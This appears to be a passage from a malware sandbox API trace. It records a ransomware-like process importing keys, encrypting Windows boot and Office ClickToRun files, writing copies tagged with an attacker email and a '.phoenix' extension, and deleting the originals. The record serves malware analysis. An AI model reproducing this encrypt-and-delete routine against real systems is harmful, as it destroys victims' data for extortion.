	[0069.499] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa288) returned 1
	[0069.499] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0069.499] ReadFile (in: hFile=0x310, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x10000, lpOverlapped=0x0) returned 1
	[0069.500] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x10010, dwBufLen=0x10010 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x10010) returned 1
	[0069.501] WriteFile (in: hFile=0x344, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x10010, lpOverlapped=0x0) returned 1
	[0069.503] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa648) returned 1
	[0069.503] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0069.503] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0069.503] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0069.503] WriteFile (in: hFile=0x344, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0069.503] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0069.503] CloseHandle (hObject=0x310) returned 1
	[0069.503] CloseHandle (hObject=0x344) returned 1
	[0069.508] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0069.510] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0069.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.597] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=4662) returned 1
	[0069.597] CloseHandle (hObject=0x320) returned 1
	[0069.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0069.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0069.597] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0069.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.599] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=22095) returned 1
	[0069.599] CloseHandle (hObject=0x320) returned 1
	[0069.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0069.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.600] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0069.600] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0069.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0069.601] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa748) returned 1
	[0069.601] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0069.601] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x564f, lpOverlapped=0x0) returned 1
	[0069.669] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x5650, dwBufLen=0x5650 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x5650) returned 1
	[0069.669] WriteFile (in: hFile=0x34c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x5650, lpOverlapped=0x0) returned 1
	[0069.670] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa908) returned 1
	[0069.670] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0069.670] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0069.670] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0069.670] WriteFile (in: hFile=0x34c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0069.670] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0069.670] CloseHandle (hObject=0x320) returned 1
	[0069.670] CloseHandle (hObject=0x34c) returned 1
	[0069.672] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml")) returned 1
	[0069.674] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0069.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0069.675] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=882628) returned 1
	[0069.675] CloseHandle (hObject=0x34c) returned 1
	[0069.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20
	[0069.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.675] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0069.675] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0069.676] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0069.676] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0069.676] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa6c8) returned 1
	[0069.676] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0069.676] ReadFile (in: hFile=0x34c, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xd77c4, lpOverlapped=0x0) returned 1
	[0069.913] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xd77d0, dwBufLen=0xd77d0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xd77d0) returned 1
	[0069.915] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xd77d0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xd77d0, lpOverlapped=0x0) returned 1
	[0070.016] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa508) returned 1
	[0070.016] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0070.016] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0070.016] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0070.016] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0070.016] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0070.017] CloseHandle (hObject=0x34c) returned 1
	[0070.017] CloseHandle (hObject=0x320) returned 1
	[0070.041] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat")) returned 1
	[0070.050] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0070.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.061] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=22095) returned 1
	[0070.061] CloseHandle (hObject=0x320) returned 1
	[0070.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0070.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0070.061] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.062] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0070.062] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0070.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0070.062] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa7c8) returned 1
	[0070.062] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0070.062] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x564f, lpOverlapped=0x0) returned 1
	[0070.421] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x5650, dwBufLen=0x5650 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x5650) returned 1
	[0070.421] WriteFile (in: hFile=0x34c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x5650, lpOverlapped=0x0) returned 1
	[0070.423] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa848) returned 1
	[0070.423] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0070.423] CryptEncrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0070.423] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0070.423] WriteFile (in: hFile=0x34c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0070.423] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0070.424] CloseHandle (hObject=0x320) returned 1
	[0070.424] CloseHandle (hObject=0x34c) returned 1
	[0070.432] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml")) returned 1
	[0070.434] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0070.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0070.434] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=882628) returned 1
	[0070.434] CloseHandle (hObject=0x34c) returned 1
	[0070.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20
	[0070.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0070.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0070.435] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0070.435] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0070.435] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.435] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa508) returned 1
	[0070.435] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0070.435] ReadFile (in: hFile=0x34c, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xd77c4, lpOverlapped=0x0) returned 1
	[0070.723] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xd77d0, dwBufLen=0xd77d0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xd77d0) returned 1
	[0070.725] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xd77d0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xd77d0, lpOverlapped=0x0) returned 1
	[0070.752] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa908) returned 1
	[0070.752] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0070.752] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0070.752] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0070.753] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0070.753] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0070.753] CloseHandle (hObject=0x34c) returned 1
	[0070.753] CloseHandle (hObject=0x320) returned 1
	[0072.249] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat")) returned 1
	[0072.483] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0072.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0072.642] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3688458) returned 1
	[0072.643] CloseHandle (hObject=0x34c) returned 1
